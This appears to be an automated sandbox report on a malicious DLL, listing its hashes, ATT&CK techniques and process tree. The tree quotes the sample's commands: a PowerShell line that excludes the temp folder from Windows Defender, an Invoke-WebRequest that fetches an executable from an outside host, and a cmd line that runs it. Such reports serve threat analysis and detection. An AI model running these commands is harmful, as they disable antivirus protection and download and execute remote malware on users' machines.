4b4a87552c44158fb53a72c7294319b0ddde9f99f460425ad5997d3b9121cd1e

General

Target

fccd129f6a5b9d2133d14922a3614f02.dll
Size

206KB
MD5

fccd129f6a5b9d2133d14922a3614f02
SHA1

e814c637e6f0c21f3aa9b43fb92cb161b4d451fc
SHA256

4b4a87552c44158fb53a72c7294319b0ddde9f99f460425ad5997d3b9121cd1e
SHA512

c1594504053bbe2b061880d1ff69819eca8bdd2bc882b74f415ff8a1515389e32b8d7cd1b931d65b042247fd05df1751a000d6da4219427b74e9cdb0e0e52979
SSDEEP

3072:4pEegLluZoATP/QGdqlhNFIkiFnZDJVvU1nSXZOAg0Fuj0pJgOgpQkV+tpMEaE:4pDyp2AQq3FWFnRehAOXpQkY7MY

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2340	powershell.exe
3056	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2340	powershell.exe
3056	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	3056	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1652 wrote to memory of 2164	1652	rundll32.exe	30
PID 1652 wrote to memory of 2164	1652	rundll32.exe	30
PID 1652 wrote to memory of 2164	1652	rundll32.exe	30
PID 1652 wrote to memory of 2164	1652	rundll32.exe	30
PID 1652 wrote to memory of 2164	1652	rundll32.exe	30
PID 1652 wrote to memory of 2164	1652	rundll32.exe	30
PID 1652 wrote to memory of 2164	1652	rundll32.exe	30
PID 2164 wrote to memory of 2504	2164	rundll32.exe	31
PID 2164 wrote to memory of 2504	2164	rundll32.exe	31
PID 2164 wrote to memory of 2504	2164	rundll32.exe	31
PID 2164 wrote to memory of 2504	2164	rundll32.exe	31
PID 2504 wrote to memory of 2340	2504	cmd.exe	33
PID 2504 wrote to memory of 2340	2504	cmd.exe	33
PID 2504 wrote to memory of 2340	2504	cmd.exe	33
PID 2504 wrote to memory of 2340	2504	cmd.exe	33
PID 2164 wrote to memory of 2824	2164	rundll32.exe	35
PID 2164 wrote to memory of 2824	2164	rundll32.exe	35
PID 2164 wrote to memory of 2824	2164	rundll32.exe	35
PID 2164 wrote to memory of 2824	2164	rundll32.exe	35
PID 2824 wrote to memory of 3056	2824	cmd.exe	37
PID 2824 wrote to memory of 3056	2824	cmd.exe	37
PID 2824 wrote to memory of 3056	2824	cmd.exe	37
PID 2824 wrote to memory of 3056	2824	cmd.exe	37
PID 2164 wrote to memory of 1680	2164	rundll32.exe	38
PID 2164 wrote to memory of 1680	2164	rundll32.exe	38
PID 2164 wrote to memory of 1680	2164	rundll32.exe	38
PID 2164 wrote to memory of 1680	2164	rundll32.exe	38

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\fccd129f6a5b9d2133d14922a3614f02.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1652
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\fccd129f6a5b9d2133d14922a3614f02.dll,#1
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2164
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2504
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2340
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2824
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3056
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c %temp%/eryy65ty.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
58e240ea1ddbd31f4f45f09f72ed516a

SHA1
5191c30647e215b36330f0341ce831171c639097

SHA256
09dee4ff19e52bdef371f7f26bc65d6ad01c3d9d6721ced19e7826f12212ae2a

SHA512
b2701737e63e707cd1a3276e259d613ccef6c4dde2a734592e574366fe33526bb2692794d762320a083e29b42627dbf9198391fcac168ba7b14be50529351542

Download Submit
memory/2340-2-0x00000000738E1000-0x00000000738E2000-memory.dmp

Filesize
4KB

Download
memory/2340-3-0x00000000738E0000-0x0000000073E8B000-memory.dmp

Filesize
5.7MB

Download
memory/2340-4-0x00000000738E0000-0x0000000073E8B000-memory.dmp

Filesize
5.7MB

Download
memory/2340-5-0x00000000738E0000-0x0000000073E8B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing